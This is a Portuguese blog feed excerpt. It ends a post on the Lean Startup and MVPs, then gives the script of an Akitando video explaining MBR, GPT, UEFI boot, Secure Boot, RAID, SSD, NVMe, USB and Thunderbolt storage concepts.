<p>Um conceito importante que o The Lean Startup ajudou a popularizar foi o de Minimum Viable Product ou MVP, ou simplesmente Protótipo. A ideia ultrapassada, vinda de processos monumentais como RUP da vida, é de tentar fazer o design do melhor software possível, o mais complicado, com mais opções, com maior número de funcionalidades possíveis. Eu não sei se alguém aqui já passou por isso, mas eu já tive que avaliar calhamaços, literalmente pilhas de quinhentas páginas de especificações e diagramas de UML.</p>
<p>Nunca vi um design assim no papel que desse pra traduzir em software, sempre tinha um monte de buracos pelo caminho. É impossível desenhar 100% de um software antes de construir, é sempre mais prático começar com um design mínimo, construir, aprender com os erros e ir estendendo e refatorando, ou seja, fazendo o design emergir do software.</p>
<p>Casos que já vi várias vezes, seja a partir de um software legado já existente ou um MVP, povo sempre fica com a ideia de &ldquo;agora sim, eu já sei como que o design de verdade deveria ser&rdquo; e aí segue tentando desenhar a versão 2.0 &ldquo;perfeita&rdquo;, e cai na armadilha do &ldquo;Segundo Sistema&rdquo; que nosso amigo Fred Brooks já avisou no livro The Mythical Man-Month, que eu já fiz um video inteiro a respeito meses atrás. Dêem uma olhada.</p>
<p>É muito difícil fazer uma lista com TODOS os livros que eu acho que todo mundo deveria ler. Acho que uma lista assim seria impossível. Dependendo da sua escolha de carreira ou mesmo dos seus gostos, alguns são mais interessantes que outros. Essa lista é a que pessoalmente acho que é relevante, embora incompleta, pra maioria. Minha recomendação é sempre ir atrás dos autores originais de um determinado tema, autores que têm mais de décadas de experiência em projetos reconhecidos. Evitar ao máximo derivativos que costumam simplificar demais ou até alterar o que o original dizia.</p>
<p>Mas como eu disse antes, em particular livros de engenharia de software tendem a envelhecer mais rápido do que livros técnicos de ciências da computação. Mas ambos os temas são importantes pra qualquer programador. De qualquer forma, se ficaram com dúvidas mande nos comentários abaixo, se curtiram o video deixem um joinha, não deixem de assinar o canal e compartilhar com seus amigos. A gente se vê, até mais!</p>
<p>06:52 - o que vem depois hello world
09:50 - Apple GPL</p>
]]></content:encoded><category>audio-e-video</category><category>hardware</category><category>akitando</category></item><item><title>[Akitando #101] Tudo que Você Queria Saber Sobre Dispositivos de Armazenamento</title><link>https://akitaonrails.github.io/2021/07/06/akitando-101-tudo-que-voce-queria-saber-sobre-dispositivos-de-armazenamento/</link><guid isPermaLink="true">https://akitaonrails.github.io/2021/07/06/akitando-101-tudo-que-voce-queria-saber-sobre-dispositivos-de-armazenamento/</guid><pubDate>Tue, 06 Jul 2021 11:08:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/c3hOS8BGbZo"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;DESCRIÇÃO&lt;span class="hx:absolute hx:-mt-20" id="descrição"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;É dia de falar tudo que você sempre quis saber sobre todas as sopas de letrinhas do mundo de dispositivos de armazenamento, desde MBR, GPT, EFI/UEFI, RAID, DAS, NAS, SAN, SSD, NVME, USB, Thunderbolt e muito mais!&lt;/p&gt;
&lt;h3&gt;Conteúdo&lt;span class="hx:absolute hx:-mt-20" id="conteúdo"&gt;&lt;/span&gt;
&lt;a href="#conte%c3%bado" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;00:00 - Intro&lt;/li&gt;
&lt;li&gt;01:01 - Master Boot Record&lt;/li&gt;
&lt;li&gt;03:32 - GPT&lt;/li&gt;
&lt;li&gt;06:39 - EFI/UEFI&lt;/li&gt;
&lt;li&gt;09:27 - processo de boot&lt;/li&gt;
&lt;li&gt;10:41 - Secure Boot&lt;/li&gt;
&lt;li&gt;13:40 - HDs como Livros&lt;/li&gt;
&lt;li&gt;16:02 - Partições e Volumes&lt;/li&gt;
&lt;li&gt;17:08 - RAID 0&lt;/li&gt;
&lt;li&gt;17:51 - RAID 1&lt;/li&gt;
&lt;li&gt;19:03 - RAID 1+0&lt;/li&gt;
&lt;li&gt;19:43 - RAID 5&lt;/li&gt;
&lt;li&gt;19:59 - DAS&lt;/li&gt;
&lt;li&gt;20:42 - Entendendo SSD&lt;/li&gt;
&lt;li&gt;21:57 - Protocolos USB&lt;/li&gt;
&lt;li&gt;22:53 - NVME&lt;/li&gt;
&lt;li&gt;23:50 - Conectores USB&lt;/li&gt;
&lt;li&gt;24:50 - Thunderbolt&lt;/li&gt;
&lt;li&gt;25:17 - HDMI&lt;/li&gt;
&lt;li&gt;26:22 - Tipos de SSD&lt;/li&gt;
&lt;li&gt;28:43 - Cabos Ethernet&lt;/li&gt;
&lt;li&gt;30:31 - NAS&lt;/li&gt;
&lt;li&gt;31:59 - Video ocupa MUITO espaço&lt;/li&gt;
&lt;li&gt;34:30 - SAN e Cloud&lt;/li&gt;
&lt;li&gt;36:20 - Character vs Block Device e BSD&lt;/li&gt;
&lt;li&gt;39:33 - Conclusão&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SCRIPT&lt;span class="hx:absolute hx:-mt-20" id="script"&gt;&lt;/span&gt;
&lt;a href="#script" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Olá pessoal, Fabio Akita&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/c3hOS8BGbZo"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>DESCRIÇÃO<span class="hx:absolute hx:-mt-20" id="descrição"></span>
    <a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>É dia de falar tudo que você sempre quis saber sobre todas as sopas de letrinhas do mundo de dispositivos de armazenamento, desde MBR, GPT, EFI/UEFI, RAID, DAS, NAS, SAN, SSD, NVME, USB, Thunderbolt e muito mais!</p>
<h3>Conteúdo<span class="hx:absolute hx:-mt-20" id="conteúdo"></span>
    <a href="#conte%c3%bado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ul>
<li>00:00 - Intro</li>
<li>01:01 - Master Boot Record</li>
<li>03:32 - GPT</li>
<li>06:39 - EFI/UEFI</li>
<li>09:27 - processo de boot</li>
<li>10:41 - Secure Boot</li>
<li>13:40 - HDs como Livros</li>
<li>16:02 - Partições e Volumes</li>
<li>17:08 - RAID 0</li>
<li>17:51 - RAID 1</li>
<li>19:03 - RAID 1+0</li>
<li>19:43 - RAID 5</li>
<li>19:59 - DAS</li>
<li>20:42 - Entendendo SSD</li>
<li>21:57 - Protocolos USB</li>
<li>22:53 - NVME</li>
<li>23:50 - Conectores USB</li>
<li>24:50 - Thunderbolt</li>
<li>25:17 - HDMI</li>
<li>26:22 - Tipos de SSD</li>
<li>28:43 - Cabos Ethernet</li>
<li>30:31 - NAS</li>
<li>31:59 - Video ocupa MUITO espaço</li>
<li>34:30 - SAN e Cloud</li>
<li>36:20 - Character vs Block Device e BSD</li>
<li>39:33 - Conclusão</li>
</ul>
<h3>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Olá pessoal, Fabio Akita</p>
<p>No episódio anterior eu contei um pouco sobre meus servidores de arquivos, o Drobo e o Synology, algumas noções sobre RAID, e desci um pouco no detalhe sobre fdisk, sistema de coordenadas CHS e LBA. Hoje vou continuar essa saga falando sobre boot. Como um computador entende seus HDs.</p>
<p>No episódio anterior eu parei a instalação daquele RedHat de 1997 explicando sobre cilindros e como do sistema de coordenadas de cilindro-cabeça-setor chegamos no LBA que é um endereçamento linear. Acho que o mais importante era entender que num HD ou pendrive ou qualquer dispositivo de armazenamento a gente não lê e escreve dados bit a bit ou byte a byte e sim em blocos, no caso em setores, que normalmente são blocos de 512 bytes. Mas beleza, particionamos o HD com <code>fdisk</code> e agora, como o computador boota minha máquina?</p>
<p>(&hellip;)</p>
<p>No nível do sistema operacional você ainda tem as opções de escolha de como particionar o disco. Falando rapidamente, antigamente e até em algumas máquinas não atualizadas de hoje, o sistema mais usado era MBR ou Master Boot Record. É um setor especial no primeiro cilindro reservado como setor de boot. Os primeiros 512 bytes.</p>
<p>Quando o computador boota, precisa iniciar algum programa, uma primeira instrução. Essa vai ser a BIOS, um firmware que hoje é atualizável. É um chip persistente que independe do seu sistema operacional. A BIOS vai detectar o hardware, configurar sua máquina e deixar disponível pra uso. No final desse programa vai ter uma instrução de JUMP pra um endereço fixo no primeiro HD que ele encontrar. No caso o endereço com segmento 0000 e offset 7C00.</p>
<p>Parêntese, se você assistiu o episódio da CPU montada em protoboard do Ben Eater que expliquei no Guia Mais hardware de Introdução à computação e um dos mais recentes que foi explicando sobre os 640 kilobytes de RAM, você entendeu 100% do que acabei de falar. Instrucões, jump, segmentos. Se não entendeu, recomendo assistir esses episódios depois.</p>
<p>Depois ele vai checar o cabeçalho da estrutura até achar 55 AA. Essa sequência identifica um MBR. Daí vai encontrar uma estrutura, literalmente como uma struct de structs de C. A estrutura do MBR permite registrar até no máximo 4 partições.</p>
<p>Era o que cabia no espaço que foi definido e pra época provavelmente acharam que era suficiente. E as configurações nessa struct tem tamanho fixo. Por isso que não dá pra plugar qualquer HD moderno num computador antigo e por isso que no fdisk antigo você vê que ele só deixa cadastrar 4 partições.</p>
<p>O máximo que dá pra ter é 2 elevado a 32 vezes o tamanho padrão do setor que são quinhentos e doze bytes. Isso dá 2 terabytes. Então máquinas antigas com MBR não conseguem ter partições maiores.</p>
<p>Ah sim, falei 2 elevado a 32. Lembram do tal LBA que falei no episódio anterior? É uma lista de 32-bits. Então só vai ter endereços pra 2 elevado a 32 setores. A distinção aqui é importante. Em outros episódios eu falava de listas ou arrays onde cada endereço apontava pra um byte.</p>
<p>Mas a gente pode apontar qualquer coisa e um LBA é uma lista onde cada elemento aponta pra um setor. E cada setor tem X bytes. Quanto maior o setor maior a partição que daria pra usar. Acho que MBR não suportava setores de 4 kilobytes por exemplo. Então o máximo vai ser esse mesmo.</p>
<p>Tem jeito de gambiarrar isso um pouco com partições extendidas. Mas é gambiarra, nem vou explicar, mesmo porque hoje em dia ninguém mais usa MBR em computadores e laptops, o normal é usar GPT ou GUID Partition Table que, como o nome diz, vai usar GUIDs pra identificar as partições.</p>
<p>Se ficou confuso, no MBR você identificava as partições com 4 números, de 1 a 4. Mas no GPT você vai identificar a partição com um numerozão de 128-bits. Não só partição, mas tipo de partição também. Se você assistiu meu episódio sobre criptografia, eu explico GUIDs lá. Mas em resumo, quando a gente quer dar um número que tem alta probabilidade de ser único, usamos ou UUID ou GUID, no caso GUID é a versão da Microsoft do conceito de Universally Unique Identifier, GUID é Globally Unique Identifier. Quase mesma coisa.</p>
<p>Usar números inteiros sequenciais pequenos é garantido que alguém já vai estar usando. É que nem quando você tenta cadastrar seu apelido numa plataforma qualquer. Certeza que já tem um joão cadastrado e você é obrigado a cadastrar tipo um joão99123 e até isso já deve existir. Por isso muitas plataformas pegam seu apelido e concatenam um número aleatório no final, como o Discord.</p>
<p>Não usar números sequenciais é uma boa prática e outro dia eu falo sobre isso em particular, mas o ponto é que suas partições são identificadas com um GUID. O GUID é um número binário de 128-bits. E ele é representado em 5 blocos legíveis em hexadecimal. Por convenção a gente separa esses blocos com hífen pra ficar mais fácil se precisar digitar manualmente.</p>
<p>Vamos recapitular porque foi muita letrinha de uma vez só. Toda a explicação sobre cilindros e cabeças foi só pra relembrar como era antigamente, mas hoje é LBA, uma lista linear de endereços de 32-bits em máquinas antigas com MBR e 64-bits em máquinas modernas com GPT. Elas representam o mapeamento de setores no seu HD. Com 32-bits e setores de 512 bytes daria pra no máximo endereçar 2 terabytes de HD. Mas com 64-bits a gente tem capacidade pra ir até um HD de vários Zetabytes. Um zetabyte é tão grande que se você pegar todo o conteúdo da Internet, não ia chegar perto disso.</p>
<p>A gente quer conseguir endereçar tamanhos absurdos porque mesmo não tendo um único HD de mais do que terabytes, você sabe que existem recursos como stripe ou RAID-0. Nada impede alguém de tentar ir ligando vários HDs gigantes num único volume.</p>
<p>No fim da vida de MBR a gente tava limitado no tamanho do HD porque não tinha endereços suficientes, mesmo problema dos 640 kilobytes de RAM, mas depois que migramos pra LBA e GPT agora temos endereços sobrando e quantidade de partições sobrando.</p>
<p>MBR ou GPT são estruturas de dados, como structs de C, que tem campos de tamanho fixo pra armazenar a configuração do seu HD e das partições. O HD é dividido em partições e as partições são divididas em setores. Daí os primeiros setores do primeiro cilindro são ocupados com essas estruturas. Na verdade você começa a partição propriamente dita mais pra frente na lista LBA. Mas é tudo o mesmo linguição de bytes no HD, é tudo uma questão de quantos setores você quer perder pra guardar esses metadados.</p>
<p>No caso de GPT, ele precisa de uma partição ESP que é EFI system partition. Aí fodeu, que GPT existe mais uma sigla junto que é EFI e UEFI. Em resumo é o seguinte, o esquema BIOS e MBR ficou velho muito rápido na virada do século daí surgiu Extensible Firmware Interface ou EFI da Intel que define uma nova interface pro sistema operacional conseguir falar com o firmware.</p>
<p>Mas em 2005 o EFI foi atualizado pra virar UEFI. No mundo open source, quando você boota um virt-manager da vida, pra rodar uma máquina virtual vai ver que o logo que aparece é da TianoCore que desenvolve uma implementação de UEFI aberta chamada EDK2. Se você é das antigas, o que a gente chama de firmware hoje é o que antigamente era mais conhecido como BIOS. Na prática é o primeiro código que qualquer computador executa.</p>
<p>No caso de HD, o primeiro setor é o boot sector ocupado pela estrutura MBR. E continua sendo assim por motivos de compatibilidade. Vai ter a estrutura de dados antiga, mas se você tentar rodar ferramentas velhas tipo o fdisk de 1997, ele ainda vai encontrar o MBR lá, mas as partições de verdade não estão mais lá, vão estar em setores mais pra frente. Acho que são uns 32 setores pelo menos, com 512 bytes cada, significa que os primeiros 16 megabytes do seu HD você já não tem, porque é lá que ficam as informações pro resto.</p>
<p>A idéia do GPT é facilitar fabricantes e desenvolvedores de extender os metadados. Digamos que o Windows precisasse identificar uma partição como sendo de Windows, que número ele usa? Se escolher 1, e se agora a Apple também quiser usar 1 pro tipo dele? Daí que usar GUID é mais prático. Eles podem escolher um GUID qualquer e a chance de alguém já ter escolhido o mesmo é muito baixa. Em qualquer documentação sobre GPT você vai achar tabelas como essa que listam os GUIDs pra tipos de partição por exemplo.</p>
<p>E em sistemas UEFI tem essa partição especial pequena que  se chama EFI system partition ou ESP. Se você é de linux já deve ter visto um /boot fora da sua partição principal. Pra ser universal ela costuma ser formatada em FAT, normalmente VFAT ou FAT32. E quando o UEFI termina de bootar, ela aponta pra essa partição e carrega o que tiver lá, que no caso do Linux é onde vai ter o bootloader e a kernel mais drivers.</p>
<p>No caso de Mac ele força que essa partição seja em HFS+ que é o filesystem antigo deles, e no caso do Windows em vez de ser /boot costuma ser /EFI/Microsoft/Boot, mas é a mesma coisa. Essa partição especial costuma ficar escondida, mas sabendo que ela existe você pode montar ela num diretório usando comandos como <code>mount</code>. Inclusive num Linux, quando você baixa e instala uma kernel mais nova, ao rodar comandos como <code>update-grub</code> da vida, ele vai atualizar a imagem vmlinuz que contém a kernel e drivers, nessa partição.</p>
<p>Quando a UEFI termina o que tinha pra fazer, no final do procedimento de POST que é sigla pra Power-on self-test, daí vai lá nos primeiros setores do primeiro disco e acha a tabela de partições. E dentro procura se tem uma partição com um tipo especial de GUID que começa com C12A e termina em C93B. Em todo computador com sistema operacional instalado vai ter ela, que é o ESP ou partição de boot.</p>
<p>Encontrado essa partição então consegue montar e ler os arquivos dentro. Se você tiver mais de um sistema operacional na mesma máquina, vai ter mais de uma configuração de bootloaders ali. Encontrado o bootloader, também acha a imagem do sistema operacional. No caso do Linux acho que cria uma ramdisk ou initial ramdisk, onde vai carregar um filesystem mínimo e continuar o processo de boot.</p>
<p>É o mínimo do mínimo que precisa carregar pra continuar lendo as outras partições que estão na tabela e montar com os filesystems adequados, como ext4 no caso de Linux ou NTFS no caso de Windows. Agora ele consegue abrir a partição principal, montar a raíz e ler as configurações num diretório como /etc ou o Registry no caso do Windows e segue subindo serviços, daemons, e tudo mais pra completar o boot do sistema até chegar na tela de login.</p>
<p>Aliás, se você tá prestando atenção deveria estar se perguntando, mas se no processo de boot ele vai pegar seja lá que bootloader e seja lá que imagem estiver nessa partição aberta de FAT, não é perigoso? Alguém malicioso ou algum virus não poderia modificar essa imagem e fazer ele carregar alguma coisa ruim?</p>
<p>Este não é um episódio sobre segurança então detalhes ficam pra outro dia. Mas sim, isso inclusive acontece de verdade e quando um virus ou programa carrega antes da sua kernel, ela consegue se injetar e ter privilégios de kernel. É isso que faz um rootkit. Se conseguir se injetar na kernel antes do boot, seu sistema operacional não vai conseguir detectar e ele teria a capacidade de enganar os antivirus que carregam depois, ou até comprometer os executáveis dos antivirus. Quando um programa malicioso se carrega no espaço privilegiado da kernel, ele tem acesso a basicamente tudo, é game over.</p>
<p>Na prática você precisou ser bem imprudente com o que instala na própria máquina. Nesse caso, rootkit ou não você tá inseguro de qualquer jeito já. Ou, você já deixa sua máquina desprotegida, qualquer um pode usar, e aí também é inseguro. Se alguém tem acesso a sua partição de boot, sua máquina tá escancarada por definição. Se você faz trabalho importante não deveria deixar aberto.</p>
<p>Tem gente que não sabe disso, mas conexão Thunderbolt e USB tem defeitos e bugs, e um pendrive preparado com software malicioso, só de plugar na sua máquina vai conseguir injetar malwares ou no mínimo causar um monte de problemas. Por isso em corporações tem até políticas pra proibir espetar um pendrive no notebook. Além disso UEFIs mais novas tem uma coisa chamada Secure Boot.</p>
<p>Resumindo, na instalação do sistema operacional, ela permite registrar um certificado digital numa área segura e assinar os binários que precisam carregar no boot como kernel e drivers. Daí em todo boot a UEFI vai checar se o binário foi modificado ou não. Se algum rootkit da vida ou alguém manualmente tentou trocar os binários então a checagem da UEFI vai falhar e ele não vai deixar bootar. Procure saber sobre isso.</p>
<p>Aliás, se você é gamer de jogos da Riot por exemplo, já teve que desligar o Secure Boot da sua máquina porque o sistema de anti-cheats ou anti-trapaça deles funciona como um rootkit, um driver que carrega junto com a kernel, alterando seu boot justamente pra você não ser capaz de desligar o anti-trapaça. E não é só a Riot que faz isso. Foi uma controvérsia boa porque desligar o secure boot é desligar segurança da sua máquina e isso é super intrusivo. Não sei se ainda funciona assim, mas isso é bem tosco, pra dizer o mínimo.</p>
<p>Parece complicado, mas ainda estamos só começando. Durante a primeira década dos anos 2000 a gente tava em transição da arquitetura de 32-bits pra 64-bits, e ao mesmo tempo fazendo a transição da BIOS com MBR antigo pra GPT e EFI e depois UEFI. Foi uma bela de uma zona pelo que me lembro, mas hoje em dia tá mais normalizado e estável. Depois de ter passado todas essas transições, eu diria que a era de 64-bits finalmente parece bem mais com o conceito de &ldquo;plug and play&rdquo; que vinham prometendo pra gente desde os anos 90.</p>
<p>Voltando pro HD, deixa eu tentar ilustrar o conceito. Os primeiros setores dessa fita é como se fossem o índice de um livro, dizendo de qual página até qual página fica cada capítulo, que seria a partição. Faz de conta que meu livro tem um índice que diz que da página 1 até a página 50 é o primeiro capítulo e da página 51 até a página 100 é o segundo capítulo.</p>
<p>Pra apagar o segundo capítulo, basta apagar do índice que esse capítulo existe. As páginas em si continuam no livro, mas ela só não é mais identificada. Eu não sei se da página 51 até o fim é uma partição só, ou se antes tinha dois capítulos de 25 páginas cada por exemplo. Mas o que tinha escrito nas páginas continua lá. Quando a gente apaga alguma coisa, não é que o HD foi nessas páginas e apagou tudo que tava escrito. Ela só tirou do índice.</p>
<p>Por isso que é possível reparticionar um disco sem perder dados. Voltando no exemplo dos dois capítulos, digamos que eu quero aumentar a segunda partição. Pra isso eu poderia ir no índice e escrever que o primeiro capítulo é só da página 1 até a 25 e da 26 até o 100 é o novo segundo capítulo.</p>
<p>Se as páginas estavam todas em branco, não vai fazer nenhuma diferença. Mas e se já tinha coisa do primeiro capítulo escrito lá pela página 40? A diferença de HD pra livros é que a gente não vai escrevendo necessariamente em ordem sequencial, tipo preenche toda a página 1, depois vai pra página 2 e assim por diante. A gente cria arquivos, apaga arquivos, atualiza, então vai ficando fragmentado. Pode ter metade da página 1 usada, página 2 em branco, página 3 cheia e assim vai. Portanto toda página, em média, vai ter espaço sobrando se o HD não estiver totalmente cheio.</p>
<p>Então eu vejo o que tem na página 26 até a 50 e se o que tem escrito lá couber nas páginas anteriores, posso copiar tudo pra lá e agora sim, reescrever o índice pro capítulo 1 ser da página 1 até a 25 e o capítulo 2 ser da página 26 até a 100. E é assim que se redimensiona partições. Só não vai dar pra reparticionar se o primeiro capítulo já tava quase cheio, daí não tem como.</p>
<p>No MBR antigo, nosso livro só podia ter até 2 terabytes, e só podia ter 4 capítulos ou partições. Com GPT, agora podemos ter milhares de partições e cada uma com praticamente quanto espaço a gente quiser, porque o hardware ainda não chegou nos limites estabelecidos no GPT. Lembra? zetabytes. Agora, o sistema operacional, sabendo onde começa e onde termina cada partição, quantos setores tem, toma conta e se encarrega de formatar a partição.</p>
<p>Vou falar de filesystems no próximo episódio. Mas a história de partições não acaba aqui. Se você presta atenção a nomenclaturas já deve ter visto a palavra &ldquo;partição&rdquo; mas também a palavra &ldquo;volume&rdquo;. Como a gente já viu, uma partição é uma divisão lógica de um HD ou qualquer outro dispositivo de armazenamento, como um pen drive. Um pen drive também pode ter mais de uma partição.</p>
<p>Já um volume é uma abstração do sistema operacional. No caso mais comum a gente pode ter uma partição de boot EFI, uma partição principal do sistema operacional e todos os seus programas e dados, e talvez uma terceira partição pra swap no caso de um Linux. Aliás, essa terceira partição hoje em dia é opcional porque é mais comum um swap ser só um arquivão na partição principal mesmo.</p>
<p>Então a gente tá acostumado a ter só uma partição que por sua vez é um único volume. Num Windows cada volume costuma ser uma letra, tipo C:, D:, e assim por diante. Quando você espeta um pen drive no seu computador, vai aparecer um novo volume montado como um E:. No caso do Linux volumes são montados como diretórios e podem aparecer como em /run/media/pendrive por exemplo.</p>
<p>Mas lembrem-se do caso que eu expliquei lá no começo do video, sobre RAID, e o caso mais simples como o RAID-0 que é stripe. Você instala dois HDs de 1 terabyte no seu computador. No caso normal, vai formatar um como volume C: e o outro como volume D:. Mas digamos que você não queira um segundo volume e na verdade quer que os dois HDs sejam combinados. Dá pra fazer isso, você cria um volume lógico que é a combinação dos dois HDs.</p>
<p>Pro Windows, mais espeficificamente pro sistema de arquivos NTFS, vai ser um único volume de 2 terabytes. O volume é uma forma de organizar partições no mesmo HD ou até em HDs diferentes como um único armazém de dados. Lógico, você já entendeu que nunca deve fazer isso porque se der pau num dos HDs você perde o volume inteiro.</p>
<p>O segundo jeito que eu ainda não falei é RAID-1, que é como alguns sistemas caseiros de backup com 2 HDs podem vir configurados. Mesmo exemplo, imagina os dois HDs de 1 tera cada. Podemos configurar um pra ser backup quente do outro. Ambos ficam ativos mas pra você só aparece um volume C: de 1 terabyte.</p>
<p>Por baixo seja um hardware de RAID na sua placa mãe ou um módulo de software RAID que seu sistema operacional carrega no boot vai identificar os dois HDs mas organizar como um único volume. Diferente do RAID-0 que você ia enxergar como um único volume com a soma do espaço dos dois HDs, no RAID-1 você enxerga só como se um dos HDs estivesse ligado e o outro não. Metade do espaço total.</p>
<p>Parece desperdício, mas essa é a redundância mais simples. Toda vez que você escreve um arquivo, por baixo vai escrever igual nos dois. Um vai ser uma cópia exata do outro e por isso RAID-1 é chamado de mirroring, ou espelhamento. Digamos que daqui alguns meses um dos HDs resolve dar pau. O sistema de RAID vai identificar o problema e você não vai perder nada porque o outro HD ainda tá intacto e com 100% dos seus dados. Basta trocar o HD defeituoso e o sistema de RAID vai reconstruir esse novo HD fazendo uma cópia do outro.</p>
<p>A gente pode combinar o espelhamento do RAID 1 com o stripping do RAID 0. Se eu tiver agora quatro HDs de 1 tera cada, ou seja, total de 4 tera, eu posso organizar como dois conjuntos de stripe: dois HDs de 1 tera viram um volume de 2 teras. E agora eu pego esses dois volumes maiores e mando um espelhar no outro. Eu continuo perdendo metade do espaço pra backup, mas também tenho a vantagem de mais performance de ter HDs em stripe. É tipo juntar o melhor dos dois esquemas: redundância e performance.</p>
<p>Você vai ver esse arranjo sendo chamado de RAID 10, mas não é número 10 e sim 1 mais 0 porque é Raid 1 combinado com Raid 0. Em qualquer dos casos estou perdendo bastante espaço pra backup. E existe um jeito mais inteligente, e aí voltamos pro RAID-5 do meu Drobo e do Synology e da maioria dos bons servidores de armazenamento. Aliás, no mundo de storages ou armazenamento, existem 3 siglas que você precisa saber: DAS, NAS e SAN.</p>
<p>Direct Attached Storage é o mais simples. Um pendrive ou HD externo é um DAS, que é storage anexado direto no seu computador, seja via USB ou Thunderbolt hoje em dia. Aliás, USB é outro ninho de siglas que confundem. Fazendo uma pequena tangente, tudo que é USB antigo de uns 10 anos pra trás é USB 2.0 que tem velocidade máxima de uns 480 megabits por segundo ou 60 megabytes por segundo.</p>
<p>Quando você só tem HDs mecânicos, um USB 2.0 tá mais que bom. Mas desde 2008 existe USB 3.0 que opera na faixa de 400 megaBytes por segundo, bem mais que o melhor HD mecânico. E isso é necessário porque nesse ponto a gente já tava começando a adotar mais SSDs.</p>
<p>Acho que todo mundo pelo menos tem idéia do que é um Solid State Drive. SSD é uma placa com chips de NAND Flash. Modelos mais sofisticados tem chips de RAM também pra operar com cache e melhorar os piores casos. Como eles foram feitos pra conectar na interface Serial ATA ou SATA 3, que tem velocidade teórica máxima de 750 megabytes por segundo, não espere um SSD comum ser muito melhor que isso.</p>
<p>Na prática um bom SSD vai operar na faixa de 500 megabytes por segundo, que já é pelo menos 10 vezes melhor que a velocidade média de um HD mecânico. Se for lidar com milhares de arquivos pequenos então, o HD mecânico pode cair pra velocidades ridículas de 3 ou 2 megabytes por segundo. Num SSD o tempo de procura é muito mais rápido porque é que nem um chip de memória, não tem que lidar com um motor e ficar reposicionando cabeças em cima de discos.</p>
<p>Se a gente judiar do SSD a velocidade dele pode cair pela metade, mas mesmo assim ainda estamos falando da faixa de 200 megabytes por segundo. Notebooks não tão velhos já devem pelo menos ter um SSD numa caixinha de 2.5 polegadas igual um HD mecânico de notebook mais antigo. Tanto que é fácil trocar um pelo outro e você vai ganhar 10 vezes mais performance. Nenhum upgrade num notebook velho vale mais a pena do que colocar um SSD.</p>
<p>De qualquer forma, um USB 2.0 agora é porcaria, daí pulamos pra série 3. Toda vez que você vê um conector USB que é azul é porque é da série 3. E eu falo série porque desde 2008 ele virou 3.1 e 3.2. Na prática quando se fala USB 3, quer dizer pelo menos 3.2 Gen 1. E são quatro tipos, a Gen 1 que é de 5 gigabits por segundo, gen 2 é 10 gigabits, gen 1 x 2 é 10 gigabits, gen 2 x 2 é 20 gigabits. A nomenclatura de USB é uma droga assim mesmo.</p>
<p>5 gigabits que é o USB 3.2 gen 1, é 5 dividido por 8 que dá na faixa máxima de 600 megabytes por segundo. Que é próximo da velocidade máxima de um SSD SATA-3 de qualidade. E 20 gigabits do USB 3.2 gen 2 por 2 é 2.5 gigabytes por segundo. E pra que tudo isso? Porque o mundo de HDs não é só mecânico e SSD. Hoje em dia o melhor são os NVME.</p>
<p>NVME é Non-volatile Memory Express. Assim como SSDs eles continuam usando chips NAND flash, mas em vez de ser limitado pelo barramento SATA-3, o NVME usa lanes de PCI Express. Pensa assim, a série ATA e SATA de interfaces foi pensada pra HDs mecânicos. Então os SSDs mais comuns que usam SATA-3 tem uma série de obstáculos de tecnologia legada. PCI Express é o mesmo barramento onde você liga coisas como sua placa gráfica. Trocando SATA-3 por PCIe, a gente ganha menos overhead e menos obstáculos.</p>
<p>Se um bom HD mecânico faz na faixa de 50 megabytes por segundo, se um bom SSD SATA-3 faz na faixa de 500 a 600 megabytes por segundo. Um bom NVME que usa PCIe e se conecta em slots que chamamos de M.2, faz na faixa de 2 a 3 gigabytes por segundo que, por acaso, é a faixa de velocidade do USB 3.2 Gen 2 por 2 que eu falei antes.</p>
<p>O que todo mundo fica confuso é não saber que USB 3 é um protocolo e que tem várias gerações que variam bastante de velocidade. Aí tem a gente confunde o protocolo USB 3 com o conector USB Type C. Isso é outro problemão porque agora estamos falando de conector e cabos.</p>
<p>O conector mais comum sempre foi o USB type A que é aquele retângulo maior. Tem o Type-B que é menor e mais quadrado que liga em impressora e que existe pra você não inverter os lados do cabo. Cabo USB transmite energia só pra um lado. Normalmente do Type-A sai energia e no Type-B recebe. Se fosse tudo Type A você podia acabar invertendo o cabo e queimar alguma coisa.</p>
<p>Enfim, Type C é novo conector que saiu uns 3 ou 4 anos atrás pra justamente arrumar um pouco essa zona. Todo mundo só pensa que com o Type-C não tem jeito certo pra encaixar. Mas não só isso, você pode ter cabo com as duas pontas sendo Type-C, porque ele é multi-direcional pra energia e o protocolo vai garantir que você não vai queimar nada se inverter o cabo.</p>
<p>O cabo Type-C, junto com o protocolo 3.2 Gen 2 x 2 tem capacidade máxima de 20 Gigabits por segundo, que são os mais de 2 gigabytes por segundo de velocidade. Mas tem acima disso. Computadores Intel e Mac, ou seja, menos a AMD, tem Thunderbolt 3, com velocidade máxima de 40 gigabits por segundo ou 5 gigaBytes por segundo. E aí você pode pensar, mas ué, o NVME mais rápido é na faixa de 2 a 3 gigabytes, pra que precisa do dobro?</p>
<p>Porque Thunderbolt não é feito só pra dispositivos de armazenamento, mas pra tudo, incluindo monitores. Um cabo HDMI 2.0 que é o mais comum e que você deve ter na sua TV, sozinho, tem banda de 18 gigabits, perto do máximo de uma USB Type C. Você consegue transmitir no máximo 4K a 60 quadros por segundo.</p>
